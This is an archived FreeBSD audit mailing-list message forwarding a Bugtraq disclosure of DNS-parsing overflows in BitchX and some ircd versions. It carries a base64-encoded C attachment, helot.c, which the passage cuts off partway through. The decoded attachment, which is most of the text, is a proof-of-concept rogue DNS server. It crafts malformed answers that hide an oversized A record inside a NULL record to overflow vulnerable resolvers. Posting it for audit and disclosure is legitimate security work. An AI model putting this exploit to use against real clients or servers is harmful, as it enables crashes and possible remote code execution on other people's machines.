From owner-freebsd-audit Thu Dec 7 22:34:46 2000 From owner-freebsd-audit@FreeBSD.ORG Thu Dec 7 22:34:37 2000 Return-Path: Delivered-To: freebsd-audit@freebsd.org Received: from silby.com (cb34181-c.mdsn1.wi.home.com [24.183.3.139]) by hub.freebsd.org (Postfix) with ESMTP id CF74D37B400 for ; Thu, 7 Dec 2000 22:34:36 -0800 (PST) Received: (qmail 22991 invoked by uid 1000); 8 Dec 2000 06:34:35 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Dec 2000 06:34:35 -0000 Date: Fri, 8 Dec 2000 00:34:35 -0600 (CST) From: Mike Silbersack To: freebsd-audit@freebsd.org Subject: bitchx/ircd DNS overflow demonstration (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY=1BoxPartBoundary97620769315457976207693 Content-ID: Sender: owner-freebsd-audit@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1BoxPartBoundary97620769315457976207693 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Content-Disposition: INLINE Since people appear to be on an auditing rampage, I thought I'd forward this over to the list. It describes some DNS parsing bugs in a few ircds and BitchX that seem to have serious consequences. It may be worth a look into if programs in the base system have similar problems. Mike "Silby" Silbersack ---------- Forwarded message ---------- Date: Thu, 7 Dec 2000 08:48:13 -0800 From: nimrood To: BUGTRAQ@SECURITYFOCUS.COM Subject: bitchx/ircd DNS overflow demonstration code is attached. __________________________________________________ FREE voicemail, email, and fax...all in one place. Sign Up Now! http://www.onebox.com --1BoxPartBoundary97620769315457976207693 Content-Type: APPLICATION/OCTET-STREAM; CHARSET=us-ascii Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="helot.c" LyoKICogaGVsb3QuYyAtIGJpdGNoeC9pcmNkIEROUyBvdmVyZmxvdyBkZW1vbnN0cmF0aW9u CiAqIHcwMHcwMCBTZWN1cml0eSBEZXZlbG9wbWVudCAoV1NEKQogKiAxMi4wNC4yMDAwIG5p bXJvb2QgKG5pbXJvb2RAb25lYm94LmNvbSkKICoKICogdGhpcyBzYW1lIGNvZGUgaSB1c2Vk IHRvIGV4cGxvaXQgYW4gaXJjZCBETlMgc3Bvb2ZpbmcgYnVnCiAqIGZyb20gZWFybHkgJzk5 LiByZS11c2FibGUgY29kZSBpcyBncmVhdC4KICogdGhpcyBwcm9ncmFtIGlzIGZ1biB0byBw bGF5IHdpdGggaWYgeW91J3JlIG1lc3Npbmcgd2l0aCBETlMuCiAqIHRoZSBwYWNrZXQgYnVp bGRlciBpcyBNYWtlRE5TUGt0KCkuIHRoaXMgdG9vbCBjb21waWxlcyBvbiBteQogKiBsaW51 eCBzeXN0ZW1zIHdpdGggbm8gcHJvYmxlbXMuCiAqCiAqIAlHcmVldGluZ3MgOjogIyF3MDB3 MDAsIGNhZGRpcywgZG1lc3Mwciwgbm9jYXJyaWVyLCBueXQsCiAqICAgICAgICAgICAgICAg ICAgIHN1cGVybHVjaywgam9iZSwgYXdyLCBtZXRhYm9saXMsIHNxLCBiYjB5CiAqCiAqIC0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogcHJvYmxlbSAxOiAtLT4gZ2Vu ZXJpYyBpcmNkCiAqIGN1cnJlbnQgYW5kIG9sZGVyIGlyYyBzZXJ2ZXJzIHN1ZmZlciBmcm9t IGEgY29tbW9uIGJ1Zy4KICogYSBwb2ludGVyIGlzIG5vdCB1cGRhdGVkIGNvcnJlY3RseSB3 aGVuIGhhbmRsaW5nIHVuc3VwcG9ydGVkCiAqIFJSIHR5cGVzIChlZzogVF9OVUxMKS4gdGhp cyBtYWtlcyB0aGUgc2VydmVyIHRoaW5rCiAqIGl0IHJlY2VpdmVkIGEgbWFsZm9ybWVkIHBh Y2tldCB3aGVuIHRyeWluZyB0byBwcm9jZXNzIHRoZSBuZXh0IFJSLgogKiBpdCdzIG5vdCBh IHJlYWxseSBzZXJpb3VzIGJ1ZywgYnV0IGl0IGFsbG93cyBmb3IgYSBuZWF0IHRyaWNrOgog KgogKiB5b3UgY2FuIGVtYmVkIGFueSBSUiB0eXBlIGluIGFuIHVuc3VwcG9ydGVkIFJSIChl ZzogVF9OVUxMKS4gdGhlc2UKICogZW1iZWRkZWQgUlIncyBhcmUgbm90IGNoZWNrZWQgZm9y IGVycm9ycyBvciBkcm9wcGVkIGJ5IG5hbWVzZXJ2ZXJzLi4uCiAqIAogKiBwcm9ibGVtIDI6 IC0tPiBiaXRjaHggYWxsIHZlcnNpb25zLCByZW1vdGUgY29kZSBleGNlY3V0aW9uCiAqIGJp dGNoeCBhcHBlYXJzIHRvIHVzZSBjb2RlIGZyb20gb2xkZXIgaXJjIHNlcnZlcnMgdG8gcGVy Zm9ybSBkbnMKICogbG9va3Vwcy4gdGhpcyBvbGQgY29kZSBzdWZmZXJzIGZyb20gYSBiY29w eS9tZW1jcHkgb3ZlcmZsb3cgd2hpbGUKICogcHJvY2Vzc2luZyBUX0EgUlIncy4gVGhlIFRf QSBSUiBkYXRhIGxlbmd0aCBpcyB1c2VkIGluIGEgc3Vic2VxdWVudAogKiBtZW1jcHkgd2l0 aG91dCBib3VuZHMgY2hlY2tpbmcuIHRoZSBvdmVyZmxvd2VkIHZhcmlhYmxlIHN0b3JlcyBh bgogKiBJUCBhZGRyZXNzLCBvbmx5IDQgYnl0ZXMgbG9uZy4gdGhpcyBpcyBzaW1pbGFyIHRv IHRoZSBJX1FVRVJZIEJJTkQKICogb3ZlcmZsb3cuIGJpdGNoeCBkbnMgYWxzbyBzdWZmZXJz IGZyb20gcHJvYmxlbSAxLgogKgogKiBmcm9tIGJpdGNoeC0xLjBjMTcsIC4vc291cmNlL21p c2MuYyA6IGFyX3Byb2NhbnN3ZXIoKQogKiBsaW5lIDI2Mzk6CiAqICAgICAgICAgICBkbGVu ID0gIChpbnQpX2dldHNob3J0KGNwKTsKICogICAgICAgICAgIGNwICs9IHNpemVvZihzaG9y dCk7CiAqICAgICAgICAgICBycHRyLT5yZV90eXBlID0gdHlwZTsKICogCiAqICAgICAgICAg ICBzd2l0Y2godHlwZSkKICogICAgICAgICAgIHsKICogICAgICAgICAgIGNhc2UgVF9BIDoK ICogICAgICAgICAgICAgICAgICAgcnB0ci0+cmVfaGUuaF9sZW5ndGggPSBkbGVuOwogKiAg ICAgICAgICAgICAgICAgICBpZiAoYW5zID09IDEpCiAqICAgICAgICAgICAgICAgICAgICAg ICAgICAgcnB0ci0+cmVfaGUuaF9hZGRydHlwZT0oY2xhc3MgPT0gQ19JTikgPyBBRl9JTkVU IDogQUZfVU5TUEVDOwogKiAgICAgICAgICAgICAgICAgICBtZW1jcHkoJmRyLCBjcCwgZGxl bik7CiAqCiAqIHByb2JsZW0gMzogLS0+IGNvbXN0dWQgaXJjZCwgcmVtb3RlIGNvZGUgZXhl Y3V0aW9uCiAqIGZ1bm55IGVub3VnaCwgd2hpbGUgd29ya2luZyBvbiB0aGUgYml0Y2h4IG92 ZXJmbG93LCBpIGFjY2lkZW50YWxseQogKiBjb25uZWN0ZWQgYSBjbGllbnQgdXNpbmcgdGhl IHdyb25nIElQIHRvIGEgY29tc3R1ZCBpcmNkLi4uaXQgZGllZC4KICogaSBmb3VuZCBjb21z dHVkLTEueCByZWxlYXNlcyBhcmUgbm90IHZ1bG5lcmFibGUuIAogKiBpIHN1c3BlY3Qgb3Ro ZXIgaXJjZCBzZXJ2ZXIgdmFyaWVudHMgd2lsbCBiZSB2dWxuZXJhYmxlLiBpIHdvdWxkCiAq IHJlY29tbWVuZCB1cGdyYWRpbmcgdG8gYSBjb21zdHVkLTEueCByZWxlYXNlLiBoeWJyaWQt aXJjZCB0ZWFtIGZpeGVkCiAqIHRoaXMgYnVnIGEgd2hpbGUgYmFjayB3aXRoIHRoZSByZWxl YXNlIG9mIGh5YnJpZC01LjNwMy4KICoKICogZnJvbSBpcmMyLjguMjErQ1NyMzFwbDIsIC4v c291cmNlL3Jlcy5jIDogcHJvY19hbnN3ZXIoKQogKiBsaW5lIDU0ODoKICogICAgICAgICAg ZGxlbiA9ICAoaW50KV9nZXRzaG9ydCgodV9jaGFyICopY3ApOwogKiBsaW5lIDU2NToKICog ICAgICAgICAgc3dpdGNoKHR5cGUpCiAqICAgICAgICAgIHsKICogICAgICAgICAgY2FzZSBU X0EgOgogKiAgICAgICAgICAgICAgICAgIGhwLT5oX2xlbmd0aCA9IGRsZW47CiAqICAgICAg ICAgICAgICAgICAgaWYgKGFucyA9PSAxKQogKiAgICAgICAgICAgICAgICAgICAgICAgICAg aHAtPmhfYWRkcnR5cGUgPSAgKGNsYXNzID09IENfSU4pID8gQUZfSU5FVCA6IEFGX1VOU1BF QzsKICogICAgICAgICAgICAgICAgICBiY29weShjcCwgKGNoYXIgKikmZHIsIGRsZW4pOwog KgogKiB0aGVyZSBhcmUgbm8gYmFkIGd1eXMuLi4ganVzdCBkaXN0dXJiZWQgZ3V5cy4KICov CgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8dW5p c3RkLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN5cy90aW1lLmg+CiNpbmNs dWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4KI2luY2x1ZGUgPHNp Z25hbC5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8YXJwYS9uYW1lc2Vy Lmg+CiNpbmNsdWRlIDxhcnBhL2luZXQuaD4KCi8qIGZvciB3aGF0ZXZlciByZWFzb24sIHRo ZXNlIG1heSBuZWVkIHRvIGJlIGRlZmluZWQgKi8KI2lmbmRlZiB1X2NoYXIKI2RlZmluZSB1 X2NoYXIgdW5zaWduZWQgY2hhcgojZW5kaWYKI2lmbmRlZiB1X3Nob3J0CiNkZWZpbmUgdV9z aG9ydCB1bnNpZ25lZCBzaG9ydAojZW5kaWYKI2lmbmRlZiB1X2xvbmcKI2RlZmluZSB1X2xv bmcgdW5zaWduZWQgbG9uZwojZW5kaWYKCiNkZWZpbmUgRE5TX1BPUlQgNTMKCmV4dGVybiBp bnQgb3B0aW5kLCBvcHRvcHQ7CmV4dGVybiBjaGFyICpvcHRhcmc7CgovKiB1c2VkIGZvciBj b252ZXJ0aW5nIHF1ZXJ5IHR5cGUgaW50ZWdlciB0byByZXNwZWN0aXZlIHN0cmluZyAqLwpz dHJ1Y3QgcXR5cGVfbGlzdAp7CglpbnQgdHlwZTsKCWNoYXIgKm5hbWU7Cn07CmNvbnN0IHN0 cnVjdCBxdHlwZV9saXN0IHF0eXBlbGlzdFtdID0KewoJe1RfQSwJCSJBIn0sCgl7VF9OUywJ CSJOUyJ9LAoJe1RfQ05BTUUsCSJDTkFNRSJ9LAoJe1RfU09BLAkJIlNPQSJ9LAoJe1RfUFRS LAkJIlBUUiJ9LAoJe1RfSElORk8sCSJISU5GTyJ9LAoJe1RfTVgsCQkiTVgifSwKCXtUX0FO WSwJCSJBTlkifSwKCXtUX05VTEwsCSJOVUxMIn0sCgl7VF9XS1MsCQkiV0tTIn0sCgl7MCwJ CSIodW5rbm93bikifQp9OwoKdm9pZCBDYXRjaFNpZ0ludChpbnQgc2lnKQp7CglzaWduYWwo U0lHSU5ULCBTSUdfREZMKTsKfQoKdm9pZCBVc2FnZShjaGFyICpwcm9nKQp7CglmcHJpbnRm KHN0ZGVyciwgIlwKdXNhZ2U6ICVzIFstayBwaWRdIFstdCB0dGxdIFstYiBpcF0gaXAgaG9z dG5hbWVcblwKICBpcCAgICAgICAgICAgaXAgYWRkcmVzcyB0byBhbnN3ZXIgcmV2ZXJzZSBs b29rdXBzIGZvclxuXAogIGhvc3RuYW1lICAgICBob3N0bmFtZSB0byBiZSBtYXBwZWQgdG8g aXAsIGFuZCBhbnN3ZXIgZm9yd2FyZCBsb29rdXBzXG5cCiAgLWsgICAgICAgICAgIGtpbGwg dGhpcyBwcm9jZXNzIGJlZm9yZSBiaW5kaW5nIGRucyBwb3J0XG5cCiAgLXQgICAgICAgICAg IGNhY2hlIHRpbWUtdG8tbGl2ZSAoc2Vjb25kcykgZm9yIHRoaXMgYW5zd2VyIChkZWZhdWx0 OiA5MDApXG5cCiAgLWIgICAgICAgICAgIGJpbmQgdGhlIG5hbWVzZXJ2ZXIgdG8gdGhpcyBh ZGRyZXNzIChkZWZhdWx0LCBhbGwgYWRkcmVzc2VzKVxuIiwKCXByb2cpOwoJZXhpdCgxKTsK fQoKY2hhciAqaXAySW5BZGRyU3RyKHVfbG9uZyBpcCkKewoJc3RhdGljIGNoYXIgKnN0cjsK CXVfY2hhciAqYnl0ZTsKCglpZighc3RyKSAKCXsKCQlpZigoc3RyPW1hbGxvYyhNQVhMQUJF TCkpID09IE5VTEwpCgkJCXJldHVybihzdHIpOwoJfQoKCS8qIElQIHNob3VsZCBiZSBpbiBu ZXR3b3JrIG9yZGVyIHRvIGdlbmVyYXRlIGEgcHJvcGVyIGluLWFkZHIgKi8JCglieXRlID0g KHVfY2hhciAqKSZpcDsKCXNwcmludGYoc3RyLCAiJWQuJWQuJWQuJWQuSU4tQUREUi5BUlBB LiIsIGJ5dGVbM10sIGJ5dGVbMl0sIGJ5dGVbMV0sCgkJYnl0ZVswXSk7CgoJcmV0dXJuKHN0 cik7Cn0KCnVfc2hvcnQgRXhwYW5kRE5hbWUoY2hhciAqY29tcCwgY2hhciAqZGVzdCwgdV9z aG9ydCBsZW4pCnsKICAgICAgICBjaGFyICpjcCwgKmNwMjsKICAgICAgICB1X3Nob3J0IG51 bTsKCiAgICAgICAgY3AgPSBjb21wOyBjcDIgPSBkZXN0OwogICAgICAgIGlmKHN0cmNocihj cCwgJy4nKSAmJiBzdHJsZW4oY3ApIDwgbGVuKQogICAgICAgIHsKICAgICAgICAgICAgICAg IHN0cmNweShjcDIsIGNwKTsKICAgICAgICAgICAgICAgIGlmKCooY3AyICsgc3RybGVuKGNw MikpICE9ICcuJykKICAgICAgICAgICAgICAgICAgICAgICAgc3RyY2F0KGNwMiwgIi4iKTsK ICAgICAgICAgICAgICAgIHJldHVybihzdHJsZW4oY3AyKSk7CiAgICAgICAgfQoKICAgICAg ICB3aGlsZSgoKmNwKSAmJiAoY3ApKQogICAgICAgIHsKICAgICAgICAgICAgICAgIG51bSA9 ICh1X2NoYXIpKmNwOwogICAgICAgICAgICAgICAgaWYobnVtICsgKGNwMiAtIGRlc3QpID4g bGVuKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIG1l bWNweShjcDIsICsrY3AsIG51bSk7CiAgICAgICAgICAgICAgICBjcCArPSBudW07IGNwMiAr PSBudW07CiAgICAgICAgICAgICAgICAqKGNwMisrKSA9ICcuJzsKICAgICAgICB9CiAgICAg ICAgKmNwMiA9IDA7CiAgICAgICAgcmV0dXJuKGNwMiAtIGRlc3QpOwp9CgppbnQgQ29tcERO YW1lKGNoYXIgKmJ1ZiwgY2hhciAqZG5hbWUpCnsKCWNoYXIgKnAgPSBidWYsICpwMTsKCgl3 aGlsZSgoKmRuYW1lKSAmJiAoZG5hbWUpKQoJewoJCWlmKCgqZG5hbWUgPT0gJy4nKSAmJiAo ISooZG5hbWUgKyAxKSkpCgkJCWJyZWFrOwoJCXAxID0gc3RyY2hyKGRuYW1lLCAnLicpOwoJ CWlmKCFwMSkKCQkJcDEgPSBzdHJjaHIoZG5hbWUsIDApOwoJCSoocCsrKSA9IHAxIC0gZG5h bWU7CgkJbWVtY3B5KHAsIGRuYW1lLCBwMSAtIGRuYW1lKTsKCQlwICs9IHAxIC0gZG5hbWU7 CgkJZG5hbWUgPSBwMTsKCQlpZigqcDEpCgkJCWRuYW1lKys7Cgl9CgkqKHArKykgPSAwOwoJ cmV0dXJuKHAgLSBidWYpOwp9CgovKgogKiBQcm9jRE5TUGt0KCkKICoKICogZGVzYzogcHJv Y2VzcyBhIHBhY2tldCwgcmV0dXJuIHF1ZXJ5IG5hbWUgSUYgaXQncyBhIHF1ZXN0aW9uCiAq IGlucHV0OiBwb2ludGVyIHRvIHBhY2tldCBidWZmZXIsIHBhY2tldCBidWZmZXIgbGVuZ3Ro CiAqIG91dHB1dDogcG9pbnRlciB0byBxdWVyeSBuYW1lIHN0cmluZywgb3IgTlVMTCwgdHlw ZSBvZiBxdWVyeSAKICovCmNoYXIgKlByb2NETlNQa3QoY2hhciAqcGt0LCB1X3Nob3J0IHBr dGxlbiwgaW50ICpxdHlwZSkKewoJc3RhdGljIGNoYXIgKnFuYW1lOwoJY2hhciAqcVJSOwoJ SEVBREVSICpkbnNoZHI7CglpbnQgcW5hbWVsZW47CgoJLyogZG8gd2UgZXZlbiBoYXZlIHNv bWV0aGluZyB0byBsb29rIGF0PyAqLwoJaWYocGt0ID09IE5VTEwgfHwgcGt0bGVuIDwgKEhG SVhFRFNaICsgUUZJWEVEU1opKQoJCXJldHVybigwKTsKCWRuc2hkciA9IChIRUFERVIgKilw a3Q7CgoJLyogY2hlY2sgcXVlcnkgcmVzcG9uc2UgZmxhZyAqLwoJaWYoZG5zaGRyLT5xcikK CQlyZXR1cm4oMCk7CgoJLyogY2hlY2sgdGhhdCB3ZSBoYXZlIG9ubHkgYSBxdWVzdGlvbiBp biB0aGlzIHBhY2tldCAqLwoJaWYobnRvaHMoZG5zaGRyLT5xZGNvdW50KSAhPSAxIHx8IG50 b2hzKGRuc2hkci0+YXJjb3VudCkgIT0gMCB8fAoJCW50b2hzKGRuc2hkci0+bnNjb3VudCkg IT0gMCB8fCBudG9ocyhkbnNoZHItPmFyY291bnQpICE9IDApCgkJcmV0dXJuKDApOwoKCWlm KCFxbmFtZSkKCXsKCQlpZigocW5hbWUgPSBtYWxsb2MoTUFYRE5BTUUpKSA9PSAwKQoJCXsK CQkJZnByaW50ZihzdGRlcnIsICJubyBtZW1vcnkgZm9yIHFuYW1lXG4iKTsKCQkJcmV0dXJu KDApOwoJCX0KCX0KCXFuYW1lbGVuID0gRXhwYW5kRE5hbWUocGt0K0hGSVhFRFNaLCBxbmFt ZSwgTUFYRE5BTUUpOwoJaWYocW5hbWVsZW4gPT0gMCkKCQlyZXR1cm4oTlVMTCk7CgoJLyog ZXh0cmFjdCB0aGUgcXVlcnkgdHlwZSByZWNlaXZlZCBhbmQgZmlsbCBpbiBxdHlwZSAqLwoJ cVJSID0gcGt0ICsgSEZJWEVEU1ogKyBzdHJsZW4ocGt0ICsgSEZJWEVEU1opICsgMTsKCUdF VFNIT1JUKHFuYW1lbGVuLCBxUlIpOyAKCSpxdHlwZSA9IHFuYW1lbGVuOwoJcmV0dXJuKHFu YW1lKTsKfQoKLyoKICogUVR5cGUyU3RyKCkKICoKICogZGVzYzogY29udmVydCBxdWVyeSB0 eXBlIGludGVnZXIgdG8gYSBzdHJpbmcgcmVwcmVzZW50YXRpb24KICogaW5wdXQ6IHF1ZXJ5 IHR5cGUKICogb3V0cHV0OiBwb2ludGVyIHRvIHN0cmluZyBvZiBxdWVyeSB0eXBlCiAqLwpj aGFyICpRVHlwZTJTdHIoaW50IHF0eXBlKQp7CglpbnQgaSA9IDA7CgoJd2hpbGUocXR5cGVs aXN0W2ldLnR5cGUgJiYgcXR5cGVsaXN0W2ldLnR5cGUgIT0gcXR5cGUpCgkJaSsrOwoJcmV0 dXJuKHF0eXBlbGlzdFtpXS5uYW1lKTsKfQoKLyoKICogTWFrZUROU1BrdCgpCiAqCiAqIGRl c2M6IG1ha2UgYSBkbnMgYW5zd2VyIHBhY2tldCBmb3IgYSBxdWVzdGlvbgogKiBpbnB1dDog cG9pbnRlciB0byBvcmlnaW5hbCBxdWVyeSBwYWNrZXQgdG8gYnVpbGQgYW5zd2VyIGZvciwg cG9pbnRlciB0bwogKglhbnN3ZXIgcGFja2V0IGJ1ZmZlciwgYnVmZmVyIGxlbmd0aCwgYW5z d2VyIGRhdGEsIGFkZGl0aW9uYWwgZGF0YSwKICoJdGltZS10by1saXZlIAogKiBvdXRwdXQ6 IHJldHVybnMgc2l6ZSBvZiBhbnN3ZXIgcGFja2V0LCBvciBOVUxMCiAqLwp1X3Nob3J0IE1h a2VETlNQa3QoY2hhciAqcXBrdCwgY2hhciAqYXBrdCwgdV9zaG9ydCBhbGVuLCBjaGFyICph bnN3ZXIsCgljaGFyICphZGRpdGlvbmFsLCB1X2xvbmcgdHRsKQp7Cgl1X3Nob3J0IHN6LCBv ZmZzZXQ7IAoJaW50IHF0eXBlOwoJSEVBREVSICpxaGRyLCAqYWhkcjsKCWNoYXIgKnF1ZXJ5 LCAqYXF1ZXJ5LCAqYW5zd2VyUlI7CgljaGFyIHFuYW1lW01BWEROQU1FXTsgLyogZG9tYWlu IG5hbWUgbGFiZWwgc2NyYXRjaCBwYWQgKi8KCWNoYXIgKmNwLCAqY3AyOwoKCS8qIGRvIHNv bWUgY2hlY2tzICovCglpZihxcGt0ID09IE5VTEwgfHwgYXBrdCA9PSBOVUxMIHx8IGFuc3dl ciA9PSBOVUxMIHx8IGFkZGl0aW9uYWwgPT0gTlVMTCkKCQlyZXR1cm4oMCk7CgoJLyogc2V0 dXAgcG9pbnRlcnMgKi8KCXFoZHIgPSAoSEVBREVSICopcXBrdDsgYWhkciA9IChIRUFERVIg KilhcGt0OwoJcXVlcnkgPSBxcGt0ICsgSEZJWEVEU1o7IGFxdWVyeSA9IGFwa3QgKyBIRklY RURTWjsKCgkvKiBhbnN3ZXIgcGFja2V0IGRucyBoZWFkZXIsIHdlIHVzZSB0aGUgcXVlcnkg cGFja2V0J3MgaGRyICovCglpZihhbGVuIDwgSEZJWEVEU1opCgkJcmV0dXJuKDApOwoJbWVt Y3B5KGFoZHIsIHFoZHIsIEhGSVhFRFNaKTsKCWFoZHItPnFyID0gMTsgLyogcXVlcnkgcmVz cG9uc2UgKi8KCWFoZHItPmFhID0gMTsgLyogYXV0aG9yYXRhdGl2ZSBhbnN3ZXIgKi8KCWFo ZHItPnJjb2RlID0gTk9FUlJPUjsKCgkvKiBjb3B5IG9yaWdpbmFsIHF1ZXJ5IGluZm8gdG8g YW5zd2VyIHBhY2tldCAqLwoJbWVtY3B5KGFxdWVyeSwgcXVlcnksIChzdHJsZW4ocXVlcnkp ICsgUUZJWEVEU1ogKyAxKSk7CglhcXVlcnkgKz0gc3RybGVuKHF1ZXJ5KSArIDE7CglHRVRT SE9SVChxdHlwZSwgYXF1ZXJ5KTsKCWFuc3dlclJSID0gYXF1ZXJ5ICsgSU5UMTZTWjsKCgkv KiBidWlsZCB0aGUgYW5zd2VyIFJSJ3MgYmFzZWQgb24gcXVlcnkgdHlwZSAqLwoJc3ogPSBD b21wRE5hbWUocW5hbWUsIGFuc3dlcik7CgoJc3dpdGNoKHF0eXBlKQoJewoJCWNhc2UgVF9Q VFI6CgkJCS8qIGFuc3dlciB0aGUgb3JpZ2luYWwgcXVlc3Rpb24uIHRoaXMgUlIncyBkYXRh IAoJCQkgKiBjb21lcyBmcm9tIHRoZSAiaG9zdG5hbWUiIGNtZGxpbmUgb3B0aW9uLgoJCQkg KiB0aGlzIGlzIGEgbm9ybWFsIGFuZCB2YWxpZCByZXNvdXJjZSByZWNvcmQKCQkJICovCgkJ CVBVVFNIT1JUKChIRklYRURTWiB8IDB4YzAwMCksIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQo VF9QVFIsIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQoQ19JTiwgYW5zd2VyUlIpOwoJCQlQVVRM T05HKHR0bCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChzeiwgYW5zd2VyUlIpOwoJCQltZW1j cHkoYW5zd2VyUlIsIHFuYW1lLCBzeik7CgkJCW9mZnNldCA9IGFuc3dlclJSIC0gYXBrdDsg Lyogb2Zmc2V0IHVzZWQgZm9yIGNvbXByZXNzaW9uICovCgkJCWFuc3dlclJSICs9IHN6OwoK CQkJLyogdGhpcyBSUiwgVF9OVUxMIGRlbW9uc3RyYXRlcyBwcm9ibGVtIDEuIHRoaXMgUlIg aGFzCgkJCSAqIGFuIGVtYmVkZGVkIFRfQSByZWNvcmQgaW4gaXQncyBkYXRhIGZpZWxkCgkJ CSAqLwoJCQlQVVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBV VFNIT1JUKFRfTlVMTCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7 CgkJCVBVVExPTkcodHRsLCBhbnN3ZXJSUik7CgkJCWNwID0gYW5zd2VyUlI7IC8qIHBvaW50 ZXIgdG8gVF9OVUxMIFJSJ3MgZGF0YSBsZW5naCAqLwoJCQlQVVRTSE9SVCgwLCBhbnN3ZXJS Uik7CgkJCWNwMiA9IGFuc3dlclJSOwkvKiBwb2ludGVyIHRvIHN0YXJ0IG9mIGVtYmVkZGVk IFRfQSBSUiAqLwoJCQkJCgkJCS8qIFRfQSByZWNvcmQgaXMgYWN0dWFsbHkgZW1iZWRkZWQg aW4gdGhlIFRfTlVMTCByZWNvcmQuCgkJCSAqIGJpdGNoeC9pcmNkIHdpbGwgcmVhZCBpbnRv IHRoaXMgVF9BIHJlY29yZCBvbiB0aGUgbmV4dCBsb29wLgoJCQkgKiB0aGlzIGxldHMgdXMg Z2V0IGFyb3VuZCByZXN0cmljdGlvbnMgaW4gQklORCBvbiBUX0EgUlIncwoJCQkgKgoJCQkg KiB0aGlzIFJSIGNhdXNlcyBwcm9ibGVtcyAyICYgMyAtLSB0aGUgb3ZlcmZsb3cKCQkJICov CgkJCVBVVFNIT1JUKChvZmZzZXQgfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JU KFRfQSwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CQoJCQlQVVRM T05HKHR0bCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVCgxODAsIGFuc3dlclJSKTsgLyogb3Zl cmZsb3cgd2l0aCAxODAgTidzICovCgkJCW1lbXNldChhbnN3ZXJSUiwgJ04nLCAxODApOwoJ CQlhbnN3ZXJSUiArPSAxODA7CgoJCQkvKiBjb21wdXRlIHNpemUgb2YgZW1iZWRkZWQgVF9B ICYgdXBkYXRlIFRfTlVMTCdzIGRsZW5ndGggKi8KCQkJUFVUU0hPUlQoKGFuc3dlclJSIC0g Y3AyKSwgY3ApOwoKCQkJLyogdGhpcyByZWNvcmQgaXMgbmVlZGVkIHRvIGNvbnRpbnVlIHRo ZSBkbnMgbG9vcCBpbgoJCQkgKiBiaXRjaHgvaXJjZC4gaXQgY2FuIGJlIGFueSBSUiwgaSB1 c2VkIFRfTlVMTAoJCQkgKi8gCiAgICAgICAgICAgICAgICAgICAgICAgIFBVVFNIT1JUKChI RklYRURTWiB8IDB4YzAwMCksIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAg UFVUU0hPUlQoVF9OVUxMLCBhbnN3ZXJSUik7CiAgICAgICAgICAgICAgICAgICAgICAgIFBV VFNIT1JUKENfSU4sIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAgUFVUTE9O Ryh0dGwsIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAgUFVUU0hPUlQoMCwg YW5zd2VyUlIpOwoKCQkJYWhkci0+YW5jb3VudCA9IGh0b25zKDMpOwoJCQlhaGRyLT5uc2Nv dW50ID0gaHRvbnMoMCk7CgkJCWFoZHItPmFyY291bnQgPSBodG9ucygwKTsKCQkJYnJlYWs7 CgoJCWNhc2UgVF9BOgoJCQkvKiBCSU5EIGRlZW1zIFRfQSByZWNvcmRzIHdpdGggZGF0YSBs ZW5ndGggPD4gNCBieXRlcwoJCQkgKiB0byBiZSBtYWxmb3JtZWQuIHNvIHdlIG11c3QgZW1i ZWQgdGhlIFJSLgoJCQkgKi8KCQkJUFVUU0hPUlQoKEhGSVhFRFNaIHwgMHhjMDAwKSwgYW5z d2VyUlIpOwoJCQlQVVRTSE9SVChUX05VTEwsIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQoQ19J TiwgYW5zd2VyUlIpOwoJCQlQVVRMT05HKHR0bCwgYW5zd2VyUlIpOwoJCQljcCA9IGFuc3dl clJSOwoJCQlQVVRTSE9SVCgwLCBhbnN3ZXJSUik7CgkJCWNwMiA9IGFuc3dlclJSOwoKCQkJ LyogcHJvYmxlbSAyICYgMyBkZW1vbnN0cmF0ZWQgd2l0aCBhIFRfQSBxdWVyeSAqLwoJCQlQ VVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JUKFRf QSwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CgkJCVBVVExPTkco dHRsLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JUKDE4MCwgYW5zd2VyUlIpOyAKCQkJbWVtc2V0 KGFuc3dlclJSLCAnQScsIDE4MCk7CgkJCWFuc3dlclJSICs9IDE4MDsKCgkJCS8qIGZpeCB1 cCB0aGUgc2l6ZSBvZiB0aGUgVF9OVUxMICovCgkJCVBVVFNIT1JUKChhbnN3ZXJSUiAtIGNw MiksIGNwKTsKCgkJCS8qIGFub3RoZXIgVF9OVUxMIC4uLiAqLwogICAgICAgICAgICAgICAg 